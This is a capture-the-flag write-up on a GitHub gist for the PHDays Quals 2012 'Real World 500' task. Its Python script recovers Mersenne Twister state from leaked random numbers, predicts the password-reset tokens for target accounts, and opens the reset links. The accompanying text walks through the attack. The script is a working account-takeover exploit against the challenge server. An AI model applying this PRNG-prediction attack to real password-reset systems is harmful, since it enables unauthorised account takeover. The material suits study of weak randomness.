Created
December 17, 2012 09:39
-
-
Save ei-grad/4317091 to your computer and use it in GitHub Desktop.
PHDays Quals 2012 - Real World 500
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# see: https://github.com/fx5/not_random and related article | |
import sys | |
import os | |
import gzip | |
import random | |
from itertools import imap | |
import hashlib | |
from lxml.etree import parse | |
from progress import ProgressBar | |
#HOST = 'example.com' | |
HOST = 'ctf.phdays.com:12391' | |
USERN = int(sys.argv[1]) | |
EMAIL = 'user%[email protected]' % USERN | |
BROWSER = 'chromium' | |
print "Loading Magic" | |
f = gzip.GzipFile("magic_data","r") | |
magic = eval(f.read()) | |
f.close() | |
print "Done." | |
print "Working...." | |
progress = ProgressBar() | |
def rebuild_random_from_string(string): | |
return rebuild_random(list(imap(ord, string))) | |
def rebuild_from_floats(floats): | |
s = "".join(chr(int(i * 256)) for i in floats) | |
return rebuild_random_from_string(s) | |
def rebuild_random(vals): | |
def getbit(bit): | |
assert bit >= 0 | |
return (vals[bit // 8] >> (7 - bit % 8)) & 1 | |
state = [] | |
for i in xrange(0, 624): | |
progress.progress(i / 623.) | |
val = 0 | |
data = magic[i % 2] | |
for bit in data: | |
val <<= 1 | |
for b in bit: | |
val ^= getbit(b+(i//2)*8 - 8) | |
state.append(val) | |
state.append(0) | |
ran = random.Random() | |
ran.setstate((3, tuple(state),None)) | |
for i in xrange(len(vals) - 3201 + 394): | |
ran.randint(0,255) | |
return ran | |
def random_floats(length, random_module=random): | |
return [random_module.random() for i in range(length)] | |
def get_floats(n=3360): | |
os.popen(r''' | |
curl -v \ | |
http://%(host)s/\?count\=%(count)d -o rw500_resp \ | |
http://%(host)s/password_reset/ \ | |
-d csrfmiddlewaretoken=23ca27c3882e0b9a1964d96e44c0481e \ | |
-d email=%(email)s \ | |
-H 'Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e' | |
cat rw500_resp | \ | |
sed 's/=\([0-9.]\+\)/="\1"/g' | \ | |
sed 's,\(rand .*\)>,\1/>,g' >rw500_resp.xml | |
''' % {'host': HOST, 'count': n, 'email': EMAIL} | |
).close() | |
xml = parse('rw500_resp.xml') | |
return list(map(float, xml.xpath('rand/@value'))) | |
if __name__ == "__main__": | |
floats = get_floats(3400) | |
my_random = rebuild_from_floats(floats[:3360]) | |
for n, (i, j) in enumerate(zip(floats[-40:], | |
[my_random.random() | |
for i in range(40)])): | |
assert '%.16f' % i == '%.16f' % j, Exception('%d (%f)' % ( | |
n, abs(i - j) | |
)) | |
for i in range(5): | |
url = 'http://%s/reset/%d-%s/' % ( | |
HOST, USERN, | |
hashlib.md5('%.16f' % my_random.random()).hexdigest() | |
) | |
print(url) | |
os.popen3('%s %s' % (BROWSER, url)) |
Our write-ups for other PHDays Quals 2012 tasks: http://darkbyte.ru/2012/61/phdays-quals-2012-writeup/
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Task: Real World 500
PHDays Quals 2012 http://quals.phdays.ru/
Find flag on http://ctf.phdays.com:12391
This is a Python+Django web application saying "This is Awesome Really Random Numbers Generator service! Just use /?count=". Obviously, this is a task about cracking pseudo-random numbers generator.
The list of available URIs can be found in http://ctf.phdays.com:12391/robots.txt :
Password reset. It's clear.
Requesting http://ctf.phdays.com:12391/?count=N we can get a huge amount of sequentially generated random numbers, and this is death for the security in the most cases if it relies on the fact that the output of PRNG is unpredictable. Ha! I guess it is exactly in this case.
Searching the web we could find some articles about restoring the Mersenne Twister PRNG state, I was lucky enought to find a https://spideroak.com/blog/20121205114003-exploit-information-leaks-in-random-numbers-from-python-ruby-and-php. MT state could be restored even if only the 1/4 of generated random bites is exposed? Amazing. Lets check.
So, the plan is simple - generate a large sequence of random numbers and restore the password. But which password? What user email to use?
Label in the password reset form says "use the [email protected] for example", ok:
Oh, cool! We got a hint about the password reset link. But it doesn't look like the [email protected] is the target user.
Using an official hints "valid users: [email protected], http://example.com/reset/5-md5" we can understand that there are 9 target users -
user{1-9}@phdays.com
, and the password reset URL should contain the user number.Ok, going to http://ctf.phdays.com:12391/password_reset/ and trying to reset [email protected] - "Password reset successful". It works, great!
Trying to reset it again results in 'You can retrieve your password only 1 time at 30 minutes.' message. Good, we have other 8 users.
So, we have all we need. The detailed plan of attack is:
That's all. Lets go:
And here we are:
Login with specified password to http://ctf.phdays.com:12391/admin:
And see the flag:
We done!